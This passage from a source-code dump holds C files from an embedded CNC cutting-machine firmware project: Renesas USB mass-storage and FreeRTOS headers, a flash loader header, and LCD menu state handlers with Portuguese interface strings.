usb_ghmsc_ClassData[USB_NUM_USBIP][USB_HMSC_CLSDATASIZE];\nextern uint32_t usb_ghmsc_MaxLUN[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_StrgProcess[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_StrgDriveSearchSeq[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_StrgDriveSearchErrCount[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_StrgDriveSearchCount[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_DevReadSectorSizeSeq[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_DevReadSectorSizeErrCount[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_DevReadPartitionSeq[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_StrgDriveOpenSeq[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_StrgDriveOpenCount[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_StrgDriveOpenParCount[USB_NUM_USBIP];\nextern uint32_t usb_shmsc_PartitionLba[USB_NUM_USBIP][USB_BOOTPARTNUM + 1u];\nextern uint16_t usb_ghmsc_RootDevaddr[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_NewDrive[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_LoopCont[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_Unit[USB_NUM_USBIP];\nextern uint16_t usb_ghmsc_PartTransSize[USB_NUM_USBIP];\nextern uint8_t usb_shmsc_PartitionInfo[USB_NUM_USBIP][USB_BOOTPARTNUM];\n\n/*****************************************************************************\nPublic Functions\n******************************************************************************/\nuint16_t usb_hmsc_CheckCsw(USB_UTR_t *ptr, uint16_t drvnum);\nuint16_t usb_hmsc_DataIn(USB_UTR_t *ptr, uint16_t drvnum, uint8_t *buff, uint32_t size);\nuint16_t usb_hmsc_DataOut(USB_UTR_t *ptr, uint16_t drvnum, uint8_t *buff, uint32_t size);\nuint16_t usb_hmsc_GetCsw(USB_UTR_t *ptr, uint16_t drvnum);\nuint16_t usb_hmsc_GetData(USB_UTR_t *ptr, uint16_t drvnum, uint8_t *buff, uint32_t size);\nuint16_t usb_hmsc_GetMaxUnitCheck(USB_UTR_t *ptr, uint16_t Err);\nuint16_t usb_hmsc_NoData(USB_UTR_t *ptr, uint16_t drvnum);\nuint16_t usb_hmsc_SendCbw(USB_UTR_t *ptr, uint16_t drvnum);\nuint16_t usb_hmsc_SendData(USB_UTR_t *ptr, uint16_t drvnum, uint8_t *buff, uint32_t size);\nuint16_t usb_hmsc_SmpBotDescriptor(USB_UTR_t *ptr, uint8_t *Table, uint16_t msgnum);\nuint16_t usb_hmsc_SmpDevCheckBootRecord(uint8_t *Data, uint32_t *ParLBA, uint8_t *ParInfo, uint16_t flag);\nuint16_t usb_hmsc_SmpDevNextDriveSearch(USB_UTR_t *ptr);\nuint16_t usb_hmsc_SmpDevReadPartition(USB_UTR_t *ptr, uint16_t unit, uint32_t trans_byte);\nvoid usb_hmsc_SmpDrive2Addr(uint16_t side, USB_UTR_t *devadr);\nuint16_t usb_hmsc_SmpDrive2Msgnum(USB_UTR_t *ptr, uint16_t side);\nuint16_t usb_hmsc_SmpDrive2Part(USB_UTR_t *ptr, uint16_t side);\nuint16_t usb_hmsc_SmpDrive2Unit(USB_UTR_t *ptr, uint16_t side);\nuint16_t usb_hmsc_SmpFsiFileSystemInitialized(uint16_t side, uint8_t *Data, uint32_t Offset);\nuint32_t usb_hmsc_SmpFsiOffsetSectorRead(uint16_t side);\nuint16_t usb_hmsc_SmpPipeInfo(USB_UTR_t *ptr, uint8_t *table, uint16_t msgnum, uint16_t speed, uint16_t length);\nuint16_t usb_hmsc_SmpTotalDrive(void);\nUSB_ER_t usb_hmsc_Submitutr(USB_UTR_t *ptr, uint16_t type, USB_UTR_t *utr_table);\nUSB_ER_t usb_hmsc_SubmitutrReq(USB_UTR_t *ptr, uint16_t type, USB_UTR_t *utr_table);\nvoid usb_hmsc_CbwTagCount(USB_UTR_t *ptr, uint16_t msgnum);\nvoid usb_hmsc_ClassWait(USB_ID_t id, USB_UTR_t *mess);\nvoid usb_hmsc_ClrData(uint16_t len, uint8_t *buf);\nvoid usb_hmsc_DoSqtgl(USB_UTR_t *ptr, uint16_t Pipe, uint16_t toggle);\nvoid usb_hmsc_SetElsCbw(USB_UTR_t *ptr, uint8_t *data, uint32_t trans_byte, uint16_t side);\nvoid usb_hmsc_SetRwCbw(USB_UTR_t *ptr, uint16_t command, uint32_t secno, uint16_t seccnt, uint32_t trans_byte, uint16_t side);\nvoid usb_hmsc_SmpFsiDriveClear(USB_UTR_t *ptr, uint16_t addr);\nvoid usb_hmsc_SmpFsiSectorInitialized(uint16_t side, uint32_t offset, uint16_t size);\nuint16_t usb_hmsc_GetStringInfo(USB_UTR_t *ptr, uint16_t devaddr, uint8_t *table);\nvoid usb_hmsc_ControlEnd(USB_UTR_t *ptr, uint16_t sts);\nUSB_ER_t usb_hmsc_ClearStall(USB_UTR_t *ptr, uint16_t Pipe, USB_CB_t complete);\nuint16_t usb_hmsc_DataInAct(USB_CLSINFO_t *mess);\nuint16_t usb_hmsc_DataOutAct(USB_CLSINFO_t *mess);\nuint16_t usb_hmsc_GetCswCheck(USB_UTR_t *ptr, uint16_t drvnum, uint16_t hmsc_retval);\nuint16_t usb_hmsc_GetCswReq(USB_UTR_t *ptr, uint16_t drvnum);\nuint16_t usb_hmsc_GetDataCheck(USB_UTR_t *ptr, uint16_t drvnum, uint16_t hmsc_retval);\nuint16_t usb_hmsc_GetDataReq(USB_UTR_t *ptr, uint16_t drvnum, uint8_t *buff, uint32_t size);\nuint16_t usb_hmsc_GetStringInfoCheck(USB_UTR_t *ptr, uint16_t devaddr);\nuint16_t usb_hmsc_MassStorageResetCheck(USB_UTR_t *ptr, uint16_t Err);\nuint16_t usb_hmsc_NoDataAct(USB_CLSINFO_t *mess);\nuint16_t usb_hmsc_SendCbwCheck(USB_UTR_t *ptr, uint16_t drvnum, uint16_t hmsc_retval);\nuint16_t usb_hmsc_SendCbwReq(USB_UTR_t *ptr, uint16_t drvnum);\nuint16_t usb_hmsc_SendDataCheck(USB_UTR_t *ptr, uint16_t drvnum, uint16_t hmsc_retval);\nuint16_t usb_hmsc_SendDataReq(USB_UTR_t *ptr, uint16_t drvnum, uint8_t *buff, uint32_t size);\nuint16_t usb_hmsc_SmpDevReadPartitionAct(USB_CLSINFO_t *mess);\nvoid usb_hmsc_CheckResult(USB_UTR_t *mess, uint16_t, uint16_t);\nvoid usb_hmsc_class_check_result(USB_UTR_t *mess, uint16_t, uint16_t);\nvoid usb_hmsc_ClassCheck(USB_UTR_t *ptr, USB_CLSINFO_t *mess);\nvoid usb_hmsc_ClearStallCheck(USB_UTR_t *ptr, uint16_t errcheck);\nvoid usb_hmsc_ClearStallCheck2(USB_UTR_t *mess);\nvoid usb_hmsc_CommandResult(USB_UTR_t *ptr, uint16_t result);\nvoid usb_hmsc_DataStall(USB_UTR_t *mess);\nvoid usb_hmsc_SpecifiedPath(USB_CLSINFO_t *mess);\nvoid usb_hmsc_StallErr(USB_UTR_t *mess);\nvoid usb_hmsc_strg_user_command_result(USB_CLSINFO_t *mess);\nvoid usb_hmsc_Task(void);\nuint16_t usb_hmsc_GetStringDescriptor(USB_UTR_t *ptr, uint16_t devaddr, uint16_t index);\nuint16_t usb_hmsc_GetStringDescriptor1(USB_UTR_t *ptr, uint16_t devaddr, uint16_t index, USB_CB_t complete);\nuint16_t usb_hmsc_GetStringDescriptor2(USB_UTR_t *ptr, uint16_t devaddr, uint16_t index, USB_CB_t complete);\nuint16_t usb_hmsc_GetStringDescriptor1Check(USB_UTR_t *ptr, uint16_t errcheck);\nuint16_t usb_hmsc_GetStringDescriptor2Check(USB_UTR_t *ptr, uint16_t errcheck);\nuint16_t usb_hmsc_StdReqCheck(uint16_t errcheck);\nuint16_t usb_hmsc_GetStringDesc(USB_UTR_t *ptr, uint16_t addr, uint16_t string, USB_CB_t complete);\nuint16_t usb_hmsc_CmdSubmit(USB_UTR_t *ptr, USB_CB_t complete);\nvoid usb_hmsc_StrgCheckResult(USB_UTR_t *mess);\nvoid usb_hmsc_StrgSpecifiedPath(USB_CLSINFO_t *mess);\nvoid usb_hmsc_StrgDriveSearchAct(USB_CLSINFO_t *mess);\nvoid usb_hmsc_SmpStrgDriveOpenAct( USB_CLSINFO_t *mess );\n\n#endif /* __R_USB_HMSC_EXTERN_H__ */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.5439599752426147, "alphanum_fraction": 0.5514653325080872, "avg_line_length": 51.79245376586914, "blob_id": "61cb5d743dd210256e77c267f03ff7113d90cf26", "content_id": "5e1d4c2203b5d7c571d8513aaa22b2245b8b199c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2798, "license_type": "no_license", "max_line_length": 120, "num_lines": 53, "path": "/r_config/config_kernel.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only\n* intended for use with Renesas products. No other uses are authorized.\n* This software is owned by Renesas Electronics Corporation and is protected\n* under all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES\n* REGARDING THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY,\n* INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n* PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY\n* DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS\n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE\n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES\n* FOR ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS\n* AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this\n* software and to discontinue the availability of this software.\n* By using this software, you agree to the additional terms and\n* conditions found by accessing the following link:\n* http://www.renesas.com/disclaimer\n******************************************************************************\n* Copyright (C) 2013 Renesas Electronics Corpration\n* and Renesas Solutions Corp. All rights reserved.\n******************************************************************************\n* File Name : config_kernel.h\n* Version : 1.00\n* Device(s) : Renesas RX-Series\n* Tool-Chain : Renesas RX Standard Toolchain\n* OS : FreeRTOS V7.4.0\n* H/W Platform :\n* Description : FreeRTOS configuration\n******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 24.04.2013 0.50 First Release\n******************************************************************************/\n\n#include \"task.h\"\n#include \"semphr.h\"\n/***********************************************************************************************************************\nExternal global variables and functions\n***********************************************************************************************************************/\nextern xTaskHandle* task_table[];\nextern xQueueHandle* mbox_table[];\nextern xQueueHandle* mpl_table[];\n\nextern void FreeRTOSConfig(void);\nextern void UsbTaskDelete(void);\nextern void UsbTaskCreate(void);\nextern xSemaphoreHandle semaphore_table[];\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.6654486656188965, "alphanum_fraction": 0.6731628179550171, "avg_line_length": 21.189189910888672, "blob_id": "cff72216aaac37b6e618f493a3730a98997c1731", "content_id": "27aa115f657c2690b19c819fa83275bcfd67cc95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2465, "license_type": "no_license", "max_line_length": 73, "num_lines": 111, "path": "/src/states/ut_state_config_par_maq.c", "repo_name": "ustropo/MT01", "src_encoding": "IBM852", "text": "/*\n * ut_state_config_menu.c\n *\n * Created on: Dec 6, 2015\n * Author: Fernando\n */\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"ut_state_config_var.h\"\n#include \"eeprom.h\"\n#include \"config_par_maquina.h\"\n#include \"state_functions.h\"\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n\n#include \"keyboard.h\"\n#include \"interpreter_if.h\"\n\n#include \"lcd.h\"\n#include \"lcd_menu.h\"\n\n#define DEFAULT_CONFIG_TIMEOUT\tportMAX_DELAY\n\nstatic bool initialized = false;\nstatic const char* gszConfigMenuTitle = \"PAR. DE M┴QUINA\";\n\n/**\n * Initialize config array\n */\nstatic void init()\n{\n\tuint8_t i;\n\n\t/* Check if already initialized */\n\tif(initialized) {\n\t\tfor(i = 0; i < CFG_PAR_MAQ_MAX; i++)\n\t\t{\n\t\t\tconfigsParMaq[i].name = pm_init_names[i];\n\t\t}\n\t\treturn;\n\t}\n\n\t/* Zero all values */\n\tmemset(configsParMaq, 0, sizeof(configsParMaq));\n\n\t/* Initialize all variables */\n\tfor(i = 0; i < CFG_PAR_MAQ_MAX; i++)\n\t{\n\t\tconfigsParMaq[i].type = pm_init_types[i];\n\t\tconfigsParMaq[i].valueMax = pm_init_max[i];\n\t\tconfigsParMaq[i].valueMin = pm_init_min[i];\n\t\tconfigsParMaq[i].value = &configVarParMaq[i];\n\t\tconfigsParMaq[i].name = pm_init_names[i];\n\t\tconfigsParMaq[i].unit = pm_init_unit[i];\n\t\tconfigsParMaq[i].step = pm_init_step[i];\n\t\tconfigsParMaq[i].point = pm_init_point[i];\n\t\tconfigsParMaq[i].currentState = STATE_CONFIG_PARAMETROS_MAQ;\n\t\tconfigsParMaq[i].currentItem = i;\n\t}\n\tconfigsParMaq[CFG_FORMAT].func_var = &mem_format;\n\tinitialized = true;\n}\n\n/**\n * Shows a configuration menu for the machine.\n *\n * @param pContext Context object\n * @return Main menu state\n */\nut_state ut_state_config_par_maq(ut_context* pContext)\n{\n\tut_menu config_menu;\n\tuint8_t i;\n\n\t/* Initialize variables */\n\tinit();\n\n\t/* Initialize menu */\n\tut_menu_init(&config_menu);\n\n\t/* Options */\n\tconfig_menu.title = gszConfigMenuTitle;\n//\tconfig_menu.offset = 1;\n\t/* Items */\n\tfor(i = 0; i < CFG_PAR_MAQ_MAX; i++)\n\t{\n\t\tconfig_menu.items[config_menu.numItems++].text = configsParMaq[i].name;\n\t}\n\n\t/* Show menu */\n\tconfig_menu.selectedItem = 0;\n\tif(ut_menu_browse(&config_menu, DEFAULT_CONFIG_TIMEOUT) < 0)\n\t{\n\t\tif (reset_flag == true)\n\t\t{\n\t\t\tut_lcd_output_warning(\"RESETANDO...\\n\");\n\t\t\t\t\t/* Delay */\n\t\t\tvTaskDelay(2000 / portTICK_PERIOD_MS);\n\t\t\tRESET\n\t\t}\n\t\treturn STATE_MAIN_MENU;\n\t}\n\n\t/* Set selected item */\n\tpContext->value[0] = STATE_CONFIG_PARAMETROS_MAQ;\n\teepromReadConfig(CONFIGVAR_PAR_MAQ);\n\tconfigsVar = &configsParMaq[config_menu.selectedItem];\n\treturn geNextStatePar[config_menu.selectedItem];\n}\n" }, { "alpha_fraction": 0.5005757212638855, "alphanum_fraction": 0.5175589919090271, "avg_line_length": 51.621212005615234, "blob_id": "82826d8bfeec7c0742d686c1b1fdf02b83b1981b", "content_id": "5a10b55771ff30e725d0c6b488491bc4eeaf80c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3474, "license_type": "no_license", "max_line_length": 81, "num_lines": 66, "path": "/r_flash_loader_rx/src/r_fl_utilities.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only \n* intended for use with Renesas products. No other uses are authorized. This \n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE \n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS \n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE \n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer *\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n*******************************************************************************/\n/*******************************************************************************\n* File Name : r_fl_utilities.h\n* Version : 3.00\n* Description : Contains functions for FlashLoader use such as CRC and Reset\n******************************************************************************/ \n/******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 05.04.2010 1.00 First Release\n* : 22.03.2011 2.00 First Release for YRDK\n* : 21.09.2011 2.01 Fixed calculation for timer register in \n* fl_start_timer.\n* : 23.02.2012 3.00 Removed 'LOWEST_ROM_ADDRESS' macro. Instead \n* getting this info from Flash API. Made code\n* compliant with CS v4.0.\n******************************************************************************/\n\n#ifndef FL_UTIL_H\n#define FL_UTIL_H\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n/* Fixed width types support. */\n#include <stdint.h>\n/* Used for bool. */\n#include <stdbool.h>\n\n/******************************************************************************\nMacro definitions\n******************************************************************************/\n/* Seed used for CRCs in communications */\n#define FL_CRC_SEED (0x1D0F)\n/* Seed used by RX linker. Used for calculating raw_crc */\n#define RX_LINKER_SEED (0xFFFF)\n\n/******************************************************************************\nExported global functions (to be accessed by other files)\n******************************************************************************/\nuint16_t fl_check_application(void);\nvoid fl_reset(void);\nvoid fl_signal(void);\nbool fl_check_bootloader_bypass(void);\n\n#endif /* FL_UTIL_H */\n\n" }, { "alpha_fraction": 0.6254393458366394, "alphanum_fraction": 0.6476274132728577, "avg_line_length": 24.645071029663086, "blob_id": "b8d57ea8085d600ef8d93dd89fe8929a7794db34", "content_id": "ea103db53f57bb4f188be05b3c9309dafccdd4fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 9114, "license_type": "no_license", "max_line_length": 92, "num_lines": 355, "path": "/src/states/ut_state_config_auto.c", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-1", "text": "/*\n * ut_state_config_menu.c\n *\n * Created on: Dec 6, 2015\n * Author: Fernando\n */\n\n#include \"tinyg.h\"\t\t// #1\n#include \"hardware.h\"\n#include \"planner.h\"\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"ut_state_config_var.h\"\n#include \"interpreter_if.h\"\n#include \"eeprom.h\"\n#include \"macros.h\"\n#include \"state_functions.h\"\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n\n#include \"keyboard.h\"\n#include \"interpreter_if.h\"\n\n#include \"lcd.h\"\n#include \"lcd_menu.h\"\n\n#define DEFAULT_CONFIG_TIMEOUT\tportMAX_DELAY\n\nextern char gszCurFile[MAX_FILE_PATH_SIZE];\nextern uint32_t choosedLine;\n\n/* Array with all config variables */\nut_config_var configs_auto[CONFIG_AUTO_MAX];\nstatic bool initialized = false;\n\nstatic const ut_state geNextStateAuto[CONFIG_AUTO_MAX] =\n{\n\tSTATE_CONFIG_VAR,\n\tSTATE_CONFIG_VAR,\n\tSTATE_CONFIG_VAR,\n\tSTATE_CONFIG_VAR,\n\tSTATE_CONFIG_VAR,\n};\n\n/* Initial values for each config variable */\nstatic ut_config_type init_types[CONFIG_AUTO_MAX] =\n{\n\tUT_CONFIG_BOOL,\n\tUT_CONFIG_BOOL,\n\tUT_CONFIG_BOOL,\n\tUT_CONFIG_INT,\n\tUT_CONFIG_BOOL\n};\n\nstatic uint32_t init_values[CONFIG_AUTO_MAX] =\n{\n\t0,\n\t0,\n\t0,\n\t0,\n\t0\n};\n\nstatic char* init_names[CONFIG_AUTO_MAX] =\n{\n\t\" RODAR PROGRAMA\",\n\t\" RODAR SIMULADO\",\n\t\" DESLOCAR - ZERO PEÇA\",\n\t\" SELECIONAR LINHA\",\n\t\" LIMITES DO DESENHO\"\n};\n\nstatic var_func init_func[CONFIG_AUTO_MAX] =\n{\n\tidle,\n\tidle,\n\thomming_eixos,\n\tidle,\n\ttestar_peca\n};\n\nstatic const char* gszConfigMenuTitle = \"CORTE AUTOMÁTICO\";\n\n/**\n * Initialize config array\n */\nstatic void init()\n{\n\tuint8_t i;\n\n\t/* Check if already initialized */\n\tif(initialized) {\n\t\tfor(i = 0; i < CONFIG_AUTO_MAX; i++)\n\t\t{\n\t\t\tconfigs_auto[i].name = init_names[i];\n\t\t\tconfigs_auto[i].value = &init_values[i];\n\t\t}\n\t\treturn;\n\t}\n\t/* Zero all values */\n\tmemset(configs_auto, 0, sizeof(configs_auto));\n\n\t/* Initialize all variables */\n\tfor(i = 0; i < CONFIG_AUTO_MAX; i++)\n\t{\n\t\tconfigs_auto[i].type = init_types[i];\n\t\tconfigs_auto[i].value = &init_values[i];\n\t\tconfigs_auto[i].name = init_names[i];\n\t\tconfigs_auto[i].func_var = init_func[i];\n\t\tconfigs_auto[i].currentState = STATE_CONFIG_AUTO_MODE;\n\t\tconfigs_auto[i].currentItem = i;\n\t}\n\tconfigs_auto[CONFIG_AUTO_SELECIONAR_LINHA].unit = \"\";\n\tconfigs_auto[CONFIG_AUTO_SELECIONAR_LINHA].step = 1;\n\tconfigs_auto[CONFIG_AUTO_SELECIONAR_LINHA].valueMax = 100000;\n\tconfigs_auto[CONFIG_AUTO_SELECIONAR_LINHA].valueMin = 0;\n\tconfigs_auto[CONFIG_AUTO_SELECIONAR_LINHA].value = &selecionarLinhas;\n\tinitialized = false;\n}\n\n/**\n * Shows a configuration menu for the machine.\n *\n * @param pContext Context object\n * @return Main menu state\n */\nut_state ut_state_config_auto_menu(ut_context* pContext)\n{\n\tchar Str[30];\n\tvoid *temp = NULL;\n\tchar *pstr;\n\tut_menu config_menu;\n\tuint8_t i;\n\tspiffs_stat fileStat;\n\tuint8_t uiMsgRow = 0;\n\n\t/* Initialize variables */\n\tinit();\n\n\t/* Initialize menu */\n\tut_menu_init(&config_menu);\n\n\t/* Options */\n\tconfig_menu.title = gszConfigMenuTitle;\n\tconfig_menu.currentState = STATE_CONFIG_AUTO_MODE;\n\t/* Items */\n\tfor(i = 0; i < CONFIG_AUTO_MAX; i++)\n\t{\n\t\tconfig_menu.items[config_menu.numItems++].text = configs_auto[i].name;\n\t}\n\n\t/* Show menu */\n\tconfig_menu.selectedItem = 0;\n\tif(ut_menu_browse(&config_menu, DEFAULT_CONFIG_TIMEOUT) < 0)\n\t{\n\t\treturn STATE_MAIN_MENU;\n\t}\n\tconfigsVar = &configs_auto[config_menu.selectedItem];\n\tswitch(config_menu.selectedItem)\n\t{\n\t\tcase CONFIG_AUTO_RODAR_PROG:\n\t\tcase CONFIG_AUTO_MODO_SIM:\n\t\t\txio_open(cs.primary_src,0,0);\n\t\t\tif(uspiffs[0].f < 0)\n\t\t\t{\n\t\t\t\txio_close(cs.primary_src);\n\t\t\t\tut_lcd_output_warning(\"NENHUM ARQUIVO\\n\\\n\t\t\t\t\t\t\t\t\t CARREGADO\\n\");\n\n\t\t\t\tvTaskDelay(2000 / portTICK_PERIOD_MS);\n\t\t\t\tpContext->value[0] = STATE_CONFIG_AUTO_MODE;\n\t\t\t\tpContext->value[1] = STATE_CONFIG_AUTO_MODE;\n\t\t\t\treturn STATE_CHOOSE_FILE;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\n\t\t\t\tut_lcd_output_warning(\"CUIDADO!!!\\nMOVIMENTO\\nAUTOMÁTICO\\n\");\n\n\t\t\t\tif(delay_esc(2000) == KEY_ESC)\n\t\t\t\t{\n\t\t\t\t\txio_close(cs.primary_src);\n\t\t\t\t\tut_lcd_output_warning(\"COMANDO\\nCANCELADO\\n\");\n\t\t\t\t\t/* Delay */\n\t\t\t\t\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\t\t\t\t\treturn STATE_CONFIG_AUTO_MODE;\n\t\t\t\t}\n\n\t\t\t\tsprintf(Str, \"PONTO DE ENTRADA\\nLINHA %d\\n\", choosedLine);\n\t\t\t\tut_lcd_output_warning(Str);\n\n\t\t\t\tif(delay_esc(2000) == KEY_ESC)\n\t\t\t\t{\n\t\t\t\t\txio_close(cs.primary_src);\n\t\t\t\t\tut_lcd_output_warning(\"COMANDO\\nCANCELADO\\n\");\n\t\t\t\t\t/* Delay */\n\t\t\t\t\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\t\t\t\t\treturn STATE_CONFIG_AUTO_MODE;\n\t\t\t\t}\n\n\t\t\t\tSPIFFS_fstat(&uspiffs[0].gSPIFFS, uspiffs[0].f, &fileStat);\n\n\t\t\t\tut_lcd_clear();\n\n\t\t\t\ttemp = pvPortMalloc( 30*MAX_ROW);\n\t\t\t\tmemset(temp,NULL,30*MAX_ROW);\n\t\t\t\tpstr = temp;\n\t\t\t\tsnprintf(&pstr[30*1],30, \"Nome:%s\",fileStat.name);\n\t\t\t\tif(configFlags[MODOMAQUINA] == MODO_PLASMA)\n\t\t\t\t{\n\t\t\t\t\teepromReadConfig(CONFIGVAR_PL);\n\t\t\t\t\tsnprintf(&pstr[0],30, \" MODO PLASMA \");\n\t\t\t\t\tsnprintf(&pstr[30*2],30, \"Vel. corte: %.0f mm/min\",configVarPl[PL_CONFIG_VELOC_CORTE]);\n\t\t\t\t\tsnprintf(&pstr[30*3],30, \"Tensão THC: %.0f V\",configVarPl[PL_CONFIG_TENSAO_THC]);\n\n\t\t\t\t\tif (configFlags[KERF] == HABILITADO)\n\t\t\t\t\t\tsnprintf(&pstr[30*4],30, \"Kerf: habilitado\");\n\t\t\t\t\telse\n\t\t\t\t\t\tsnprintf(&pstr[30*4],30, \"Kerf: desabilitado\");\n\n\t\t\t\t\tif (configFlags[MERGULHO] == HABILITADO)\n\t\t\t\t\t\tsnprintf(&pstr[30*5],30, \"Anti mergulho:habilitado\");\n\t\t\t\t\telse\n\t\t\t\t\t\tsnprintf(&pstr[30*5],30, \"Anti mergulho:desabilitado\");\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tsnprintf(&pstr[0],30, \" MODO OXI \");\n\t\t\t\t\teepromReadConfig(CONFIGVAR_OX);\n\t\t\t\t\tsnprintf(&pstr[30*2],30, \"Vel. corte: %.0f mm/min\",configVarOx[OX_CONFIG_VELOC_CORTE]);\n\t\t\t\t}\n\t\t\t\tut_lcd_drawStr(0, 0, &pstr[0], BACKGROUND_FRAMED,ITEM_NO_MARKED,u8g_font_helvB08);\n\t\t\t\tfor(uiMsgRow = 1; uiMsgRow < MAX_ROW; uiMsgRow++)\n\t\t\t\t{\n\t\t\t\t\tut_lcd_drawStr(uiMsgRow, 0, &pstr[uiMsgRow*30],ITEM_NO_MARKED, false,u8g_font_5x8);\n\t\t\t\t}\n\t\t\t\t/* Output */\n\t\t\t\tut_lcd_output_str();\n\n\t\t\t\tvPortFree(temp);\n\n\t\t\t\tif(delay_esc_enter(5000) == KEY_ESC)\n\t\t\t\t{\n\t\t\t\t\txio_close(cs.primary_src);\n\t\t\t\t\tut_lcd_output_warning(\"COMANDO\\nCANCELADO\\n\");\n\t\t\t\t\t/* Delay */\n\t\t\t\t\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\t\t\t\t\treturn STATE_CONFIG_AUTO_MODE;\n\t\t\t\t}\n\n\t\t\t\txio_close(cs.primary_src);\n\t\t\t\tconfigsVar->name = \"DESEJA CONTINUAR?\";\n\t\t\t\tpContext->value[0] = STATE_CONFIG_AUTO_MODE;\n\t\t\t\tpContext->value[1] = STATE_AUTO_MODE;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase CONFIG_AUTO_DESLOCAR_ZERO:\n\t\t\tif ((zero_flags & ZERO_MAQ_FLAG) != ZERO_MAQ_FLAG)\n\t\t\t{\n\t\t\t\tuint32_t *value = configsVar->value;\n\t\t\t\tut_lcd_output_warning(\"SEM\\nREFERÊNCIA\\nDA MÁQUINA\\n\");\n\t\t\t\t/* Delay */\n\t\t\t\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\t\t\t\tconfigsVar->name = \"DESEJA CONTINUAR?\";\n\t\t\t\tut_state_config_var(pContext);\n\t\t\t\tif (*value == false)\n\t\t\t\t\treturn STATE_CONFIG_MANUAL_MODE;\n\t\t\t\t//return STATE_CONFIG_MANUAL_MODE;\n\t\t\t}\n\t\t\tut_lcd_output_warning(\"CUIDADO!!!\\nMOVIMENTO\\nAUTOMÁTICO\\n\");\n\t\t\tif(delay_esc(2000) == KEY_ESC)\n\t\t\t{\n\t\t\t\tut_lcd_output_warning(\"COMANDO\\nCANCELADO\\n\");\n\t\t\t\t/* Delay */\n\t\t\t\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\t\t\t\treturn STATE_CONFIG_AUTO_MODE;\n\t\t\t}\n\t\t\tconfigsVar->name = \"DESEJA CONTINUAR?\";\n\t\t\tpContext->value[0] = STATE_CONFIG_AUTO_MODE;\n\t\t\tpContext->value[1] = STATE_DESLOCAZERO_MODE;\n\t\t\tbreak;\n\t\tcase CONFIG_AUTO_SELECIONAR_LINHA:\n\t\t\txio_open(cs.primary_src,0,0);\n\t\t\tif(uspiffs[0].f < 